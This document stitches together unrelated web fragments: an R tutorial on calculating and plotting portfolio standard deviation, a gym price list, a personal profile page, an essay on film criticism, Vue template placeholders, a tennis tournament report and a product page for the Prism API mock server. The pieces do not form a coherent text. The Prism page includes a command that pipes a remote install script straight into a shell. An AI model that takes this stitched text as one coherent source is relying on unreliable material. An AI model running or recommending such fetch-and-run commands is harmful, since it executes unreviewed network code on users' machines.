w_1 <- w[1]
w_2 <- w[2]
w_3 <- w[3]
w_4 <- w[4]
w_5 <- w[5]
asset1 <- asset_returns_xts[,1]
asset2 <- asset_returns_xts[,2]
asset3 <- asset_returns_xts[,3]
asset4 <- asset_returns_xts[,4]
asset5 <- asset_returns_xts[,5]
sd_by_hand <-
sqrt(
(w_1^2 * var(asset1)) + (w_2^2 * var(asset2)) + (w_3^2 * var(asset3)) +
(w_4^2 * var(asset4)) + (w_5^2 * var(asset5)) +
(2 * w_1 * w_2 * cov(asset1, asset2)) +
(2 * w_1 * w_3 * cov(asset1, asset3)) +
(2 * w_1 * w_4 * cov(asset1, asset4)) +
(2 * w_1 * w_5 * cov(asset1, asset5)) +
(2 * w_2 * w_3 * cov(asset2, asset3)) +
(2 * w_2 * w_4 * cov(asset2, asset4)) +
(2 * w_2 * w_5 * cov(asset2, asset5)) +
(2 * w_3 * w_4 * cov(asset3, asset4)) +
(2 * w_3 * w_5 * cov(asset3, asset5)) +
(2 * w_4 * w_5 * cov(asset4, asset5))
)
sd_by_hand
## SPY
## SPY 0.02666
It’s nice to display this number as percentage in the investment world.
sd_by_hand_percent <- round(sd_by_hand * 100, 2)
Writing that equation out was painful but at least we won’t be forgetting it any time soon. Our result is a monthly portfolio returns standard deviation of 2.67%.
Now let’s turn to the less verbose matrix algebra path and confirm that we get the same result.
First, we will build a covariance matrix of returns using the cov()
function.
covariance_matrix <- cov(asset_returns_xts)
covariance_matrix
## SPY EFA IJS EEM AGG
## SPY 7.292e-04 6.894e-04 8.171e-04 0.0006968 -3.952e-06
## EFA 6.894e-04 1.066e-03 6.386e-04 0.0010607 4.671e-05
## IJS 8.171e-04 6.386e-04 1.564e-03 0.0006591 -7.379e-05
## EEM 6.968e-04 1.061e-03 6.591e-04 0.0017869 1.052e-04
## AGG -3.952e-06 4.671e-05 -7.379e-05 0.0001052 7.412e-05
Have a look at the covariance matrix.
AGG, the US bond ETF, has a negative or very low covariance with the other ETFs and it should make a nice volatility dampener. Interestingly, the covariance between EEM and EFA is quite low as well. Our painstakingly written-out equation above is a good reminder of how low covariances affect total portfolio standard deviation, and how negative covariances can really lower total portfolio standard deviation.
Back to our calculation, let’s take the square root of the transpose of the weights vector times the covariance matrix times the weights vector. To perform matrix multiplcation, we use %*%
.
sd_matrix_algebra <- sqrt(t(w) %*% covariance_matrix %*% w)
sd_matrix_algebra_percent <- round(sd_matrix_algebra * 100, 2)
sd_by_hand_percent
## SPY
## SPY 2.67
sd_matrix_algebra_percent
## [,1]
## [1,] 2.67
Have a look at our two standard deviation calculations Thankfully, these return the same result so we don’t have to sort through the by-hand equation again.
Standard Deviation in the xts
World
In the xts
paradigm, we can use the built-in StdDev()
function from PerformanceAnalytics
to go straight from asset returns to portfolio standard deviation. It takes two arguments, a vector of returns and weights: StdDev(asset_returns_xts, weights = w)
.
portfolio_sd_xts_builtin <- StdDev(asset_returns_xts, weights = w)
portfolio_sd_xts_builtin_percent <- round(portfolio_sd_xts_builtin * 100, 2)
We now have:
sd_by_hand_percent
## SPY
## SPY 2.67
sd_matrix_algebra_percent
## [,1]
## [1,] 2.67
portfolio_sd_xts_builtin_percent
## [,1]
## [1,] 2.67
Standard Devation in the Tidyverse
Now let’s head to the tidyverse and explore the code flow.
We will start with the portfolio returns object portfolio_returns_tq_rebalanced_monthly
and use the summarise()
function from dplyr
and then the base function sd()
. We will also perform the calculation with our own equation sqrt(sum((returns - mean(returns))^2)/(nrow(.)-1)))
.
portfolio_sd_tidy_builtin_percent <-
portfolio_returns_tq_rebalanced_monthly %>%
summarise(sd = sd(returns),
sd_byhand = sqrt(sum((returns - mean(returns))^2)/(nrow(.)-1))) %>%
mutate(sd = round(sd, 4) * 100,
sd_byhand = round(sd_byhand, 4) * 100) %>%
select(sd, sd_byhand)
portfolio_sd_tidy_builtin_percent
## # A tibble: 1 x 2
## sd sd_byhand
## <dbl> <dbl>
## 1 2.67 2.67
Standard Deviation in the Tidyquant World
In the code flow below, we’ll invoke the table.Stats()
function from PerformanceAnalytics
but use tq_performance
to apply it to a data frame. The table.Stats()
function retuns a table of statistics for the portfolio but since we want only standard deviation, we will use the dplyr
verb select()
to get just the Stdev
column.
portfolio_sd_tidyquant_builtin_percent <-
portfolio_returns_tq_rebalanced_monthly %>%
tq_performance(Ra = returns, Rb = NULL, performance_fun = table.Stats) %>%
select(Stdev) %>%
mutate(Stdev = round(Stdev, 4) * 100)
portfolio_sd_tidyquant_builtin_percent$Stdev
## [1] 2.67
In general, this demonstrates one of the fantastic ways that tidyquant blends together the xts
and tidy paradigms. Here it lets us grab a function from PerformanceAnalytics
and use a piped workflow to apply it to a data frame.
Let’s review our calculations thus far.
- by-hand calculation = 2.67%
- matrix algebra calculation = 2.67%
- xts built in function calculation = 2.67%
- tidy built in function calculation = 2.67%
- tidy by hand calculation = 2.67%
- tidyquant built-in function calculation = 2.67
That was quite a lot of work to confirm that 6 calculations are equal to each other but there are a few benefits.
First, while it was tedious, we should feel comfortable with calculating portfolio standard deviations in various ways and starting from different object types. That can be useful when an external team or client dumps data on us and that data has a weird (to us, it’s probably normal to them) format.
More importantly, as our work gets more complicated and we build custom functions, we’ll want to rely on the built-in StdDev()
function and the built-in tidy workflow. We’ll also want to manipulate data and slice/dice things for rolling calculations. Our tedious work here, where we used different flows and functions by choice, will facilitate our future work when we need to solve harder coding challenges.
Beyond helping our own work, it can help our colleagues to understand the more complex work if we can point back to this starter code flow on standard deviation.
Visualizing Standard Deviation
Visualizing volatility really involves visualizing reuturns, as we have already done, but trying to put an emphasis on the dispersion of the returns.
Here is the scatter plot of monthly returns that we built in the previous section.
portfolio_returns_tq_rebalanced_monthly %>%
ggplot(aes(x = date, y = returns)) +
geom_point(color = "cornflowerblue") +
scale_x_date(breaks = pretty_breaks(n = 8))
Hard to discern much here with respect to volatility, though we can notice that the year 2017 had consistently positive monthly returns. Let’s add some more indicators.
It might be nice to have a different color for any monthly returns that are, say, one standard deviation away from the mean. First, we will create an indicator for the mean return with mean(portfolio_returns_tq_rebalanced_monthly$returns)
and one for the standard deviation with sd(portfolio_returns_tq_rebalanced_monthly$returns)
. We will call the variables mean_plot
and sd_plot
since we plan to use them in a plot and not for anything else.
sd_plot <- sd(portfolio_returns_tq_rebalanced_monthly$returns)
mean_plot <- mean(portfolio_returns_tq_rebalanced_monthly$returns)
We want to shade the scatter points according to some logic, in this case their distance from the standard deviation of returns. Accordingly, we’ll use mutate()
to create three columns of returns.
We will nest a call to ifelse()
because these new columns are populated according to ifelse logic. If the return observation is one standard deviation below the mean, we want to add that observation to the column we call hist_col_red
, else that column should have an NA. We will create three new columns this way.
This nested ifelse()
logic is similar to how we calculated portfolio returns by-hand in Section 1. It’s an important tool in finance.
portfolio_returns_tq_rebalanced_monthly %>%
mutate(hist_col_red =
ifelse(returns < (mean_plot - sd_plot),
returns, NA),
hist_col_green =
ifelse(returns > (mean_plot + sd_plot),
returns, NA),
hist_col_blue =
ifelse(returns > (mean_plot - sd_plot) &
returns < (mean_plot + sd_plot),
returns, NA)) %>%
ggplot(aes(x = date)) +
geom_point(aes(y = hist_col_red),
color = "red") +
geom_point(aes(y = hist_col_green),
color = "green") +
geom_point(aes(y = hist_col_blue),
color = "blue")
## Warning: Removed 50 rows containing missing values (geom_point).
## Warning: Removed 51 rows containing missing values (geom_point).
## Warning: Removed 17 rows containing missing values (geom_point).
That visualization gives a little more intuition about the dispersion, we can see about how many red and green dots appear there.
Let’s add a line for the value that is one standard deviation above and below the mean with geom_hline(yintercept = (mean_plot + sd_plot), color = "purple", linetype = "dotted") +
geom_hline(yintercept = (mean_plot-sd_plot), color = "purple", linetype = "dotted") +
.
The geom_hline()
function from ggplot
adds a horizontal line to the chart.
portfolio_returns_tq_rebalanced_monthly %>%
mutate(hist_col_red =
ifelse(returns < (mean_plot - sd_plot),
returns, NA),
hist_col_green =
ifelse(returns > (mean_plot + sd_plot),
returns, NA),
hist_col_blue =
ifelse(returns > (mean_plot - sd_plot) &
returns < (mean_plot + sd_plot),
returns, NA)) %>%
ggplot(aes(x = date)) +
geom_point(aes(y = hist_col_red),
color = "red") +
geom_point(aes(y = hist_col_green),
color = "green") +
geom_point(aes(y = hist_col_blue),
color = "blue") +
geom_hline(yintercept = (mean_plot + sd_plot), color = "purple", linetype = "dotted") +
geom_hline(yintercept = (mean_plot-sd_plot), color = "purple", linetype = "dotted") +
scale_x_date(breaks = pretty_breaks(n = 8)) +
ylab("percent monthly returns") +
ggtitle("Monthly Returns Shaded by Distance from Mean")
## Warning: Removed 50 rows containing missing values (geom_point).
## Warning: Removed 51 rows containing missing values (geom_point).
## Warning: Removed 17 rows containing missing values (geom_point).
This is showing us returns over time and whether they fall below or above one standard deviation from the mean. One thing that jumps out is how many red or green circles we see after 2017. 0! That’s zero monthly returns that are least one standard deviation from the mean during calendar year 2017 (Is 2017 a year of very low volatility or did we construct an amazingly stable porftolio? Check out the VIX during 2017!). When we get to rolling volatility, we should see this reflected as a low rolling volatility through 2017. If we something different, we need to investigate.


Pricing Info
Unlimited monthly classes
$60/month plus tax
$30/month plus tax(with Student Id)
Class card- 12 classes
$96 plus tax ($8 per class)
Drop in rate
$10/class
Personal training
$40/hour
Small group training(2-4 people)
$20/person/hour


Find Alternatives To Your favourite Softwares
Search Alternatives
Recent Alternatives
Amulya
This app rocks!


I'm currently an investment associate at monashees, a leading VC firm in Latin America. I hope this webpage helps you figure out who I am and where to find me.
First of all, I'm passionate about technology and venture capital. My long-term goal is to build and invest in projects that will make a tiny dent in the universe. You can also check out my Github account, and my LinkedIn profile is also always updated.
Writing about big issues is one of my passions. I use two main platforms: Medium for all kinds of articles and Twitter for sharing quick opinions and thoughts. Some of my favourite topics include developmental economics, world history and the future of technology.
I also take pictures. You can check out some of my shots in my 500px account. I use an Olympus OM-D E-M10 Mark III mirrorless to shoot, and Adobe Lightroom for editing.
Learning new things is what drives me forward. There are many other interests of mine which I wanted to share with you, such as meditation, Brazilian poetry and investment strategies, but I fear this page is already longer than it should be. Why don't you shoot me an email so that we can talk?
Thanks for reading until the end, and peace out!


In elementary school, I was told that using the word “and” in a sentence more than once was considered improper. That ending a sentence with a preposition was grammatically incorrect. That I had to make sure my essays were painstakingly aligned with a rubric that encompassed the highbrow expectations of adults unbeknownst to me. I was told that I had to learn how to be content with being boxed in all the time.
My elementary English classes are not an anomaly. Youth across the world have felt trapped by cookie-cutter expectations in academia since the genesis of educational institutions. Rigid guidelines and a lack of spontaneous composition are in some ways ingested as a necessary hard pill to swallow. But what confounds the existence of supposedly unavoidable curricular rigidity is the existence of fine arts, whose definition is just as abstract and indefinite as the concept itself. From inventing ways to ”objectively’ critique visual art portfolios to emphasizing linguistic prescription in writing classes despite its proven irrelevance, the circumscribing of fine arts in academic institutions has succeeded in nothing but disillusioning the next generation. Young people with genuine passions for creating and critiquing art are embittered by what they see as an encroaching standardization of art and rejection of originality and individual interpretation.
But film criticism is an escape. Rather than beating young people over the head with objectivist methods to feel the intangible, film criticism exists as a rebellious scream into a void of deaf, pompous academicians. Film criticism fortifies the ideology that film can never be asserted as unanimously good or bad. That this binary is ludicrously limited compared to the dimensions that film and the emotions it evokes can prodigiously occupy.
Critics can review films based on strict, self-written guidelines or simply evanescent feelings that let their heart dictate their appreciation for a film. Film criticism acknowledges that different people come to the theater with different backgrounds, experiences, and expectations, and there is beauty in this lack of consensus. Meandering metaphors and surreptitious symbolism might give a kick to critics trained in art semiotics, while others may pay no attention to it. But that shouldn’t imply that some opinions hold more weight than others, since even professionally trained critics get red in the face and frustrated that their job is centered around a gut feeling that whispers too softly to be clearly heard.
Films are a magic trick, or as I titularly put it, an optical illusion. A hologram that shimmers in the light and gives off an image that is quite strikingly different compared to its appearance when held in a different orientation. In a similar vein, critics and cinephiles, who are human and inherently unique in perspective, experience the same movies differently. Some may or may not enjoy what they see and hear not just because the rubric used to grade movies is up to interpretation but because critics are not even working with the same rubrics in the first place.
If film were a religion, critics would be the founding members of an infinite amount of denominations and sects, preaching that decomposing a movie into its auditory and visual parts doesn’t do justice to the holistic impact that film has on people’s lives. The sum of its parts is not even close to the final product, for emergent properties are always in play. Emotions are ineffable and can’t be boxed in like students are in modern-day schools.
Young people are so burnt out from constantly listening to self-assured superiors that they’ve forgotten about the voice that bellows inside of them. The unmatched power of film criticism can help turn up the volume and allow youth to heed what their own voices have to say. Once young people are introduced to the transcendent nature of films and the indefinite, individualistic means to critique them, they’ll jump at the opportunity to get involved. Film criticism provides a refuge for students who have been failed by contemporary educational practices and have been kept naive about the true meaning of art for far too long.


{{ title }}
{{ sayHello() }} and here's link link to Google
{{ counter }}
{{ counter > 10 ? "Greater than 10" : "Smaller than 10" }}
pClient x = {{ x }}, y = {{ x }} Dead hover spot
{{bindMsg}}
Counter: {{counter}}
Result: {{result}}
Attach maroon = {{attachRed}}
{{ inputClassName }}
You can see me
You can also see me


--- post_id: /the-sound-of-war-in-the-noise-of-music date: 2008-02-28 22:20 return_url: '2007-01-16-the-sound-of-war-in-the-noise-of-music.html' name: 'fadetogrey' email<EMAIL_ADDRESS>comment: '
http://issuu.com/monki/docs/th...


Duckworth the last man standing
Overcomes Clarke’s challenge; Ramkumar-Purav duo triumphs
by Nandakumar MararCrowd favourite James Duckworth gave himself the best chance of making a mark at the Australian Open 2020 by winning the KPIT MSLTA Challenger Series title, beating Jay Clarke over three-action packed sets 4-6, 6-4, 6-4 in a final spanning two hours and 18 minutes at the MSLTA School of Tennis hard courts on Sunday.
The triumph will push the Australian to 82nd when the rankings are released on Monday, granting him a direct entry into the main draw of his home Grand Slam in January.
Duckworth weathered a storm in the first set as Clarke proved quite competent in his serve-and-volley game. The second seed pulled himself up in the second set while the third set saw the players go into auto mode and produce winners. Both varied their shots, ventured to the net frequently, and tested each other with drop shots.
When match point was clinched with a backhand sliced passing shot to leave Clarke standing, Duckworth collapsed on the court facing the sky, kicking his legs in delight and relief as the fans rose to cheer a new champion in the sixth edition of the tournament.
Valuable money
Duckworth was richer by $7,200, valuable money for a Grand Slammer funding the Tour expenses from his own pocket. The runner-up earned $4,240.
In doubles, Ramkumar Ramanathan and Purav Raja, the top seeds, won as expected.
Ramkumar put behind his singles semifinal loss as he and Purav won an exciting final against compatriots Saketh Myneni and Arjun Kadhe. The winning combination earned $3,100 and the runner-up $1,800.
The results (finals):
Singles: James Duckworth (Aus) bt Jay Clarke (GBr) 4-6, 6-4, 6-4.
Doubles: Ramkumar Ramanathan & Purav Raja bt Saketh Myneni & Arjun Kadhe 7-6(3), 6-3.


vanilla-js-wheel-zoom
https://github.com/worka/vanilla-js-wheel-zoom
Loading...
Loading...
Loading...
Loading...


--- title: Prism layout: default header_theme: light excerpt: The perfect OAS (Swagger) companion. Supercharge any OAS file with mocking, transformations, validations, and more. image: https://stoplight.io/assets/img/prism.png ---
RUN IT
1) curl https://raw.githubusercontent.com/stoplightio/prism/master/install.sh | sh
2) prism run --mock --list --spec http://petstore.swagger.io/v2/swagger.json
Starting Prism with the --mock flag will create a mock server, built off of the given OAS specification file.
If a request comes in for a response without a defined example, Prism will dynamically generate a response based on the response’s schema.
Simulates real server behavior by automatically validating incoming request headers, query string, and bodies, against your OAS specification.
If validation fails, Prism will return a 400 response with helpful error messages.
Need a mocked response property to always be a random future date? No problem. Prism extends the swagger spec with simple scripts, written in plain Javascript.
Write scripts for more complex mocking behavior, custom validations, and much more. You can even use Prism as a full blown network proxy, and setup scripts to block access to certain websites.
Prism was born out of the StopLight modeling tools, and is integrated into the StopLight API Designer. Running it standalone is completely free, and since it has zero dependencies, extremely simple!
Just download and run it from your command line. Easy as 1..2..
Turns any OAS file into a
mock server.
Pretty print the paths of any OAS file to your terminal.
Validate any OAS file from your
terminal.
Generates responses from your JSON schemas.
Validates requests / responses against your OAS definition.
Simple JS scripts invoked before traffic reaches your server.
Optionally log traffic to an HTTP location, or MongoDB.
Automatically reloads when your spec file changes.
Simple JS scripts invoked on traffic returning from your server.
Can be used as a system-wide
proxy.
Can be used as a MITM proxy, with HTTPS traffic.
Just download and run. Prism has no external requirements.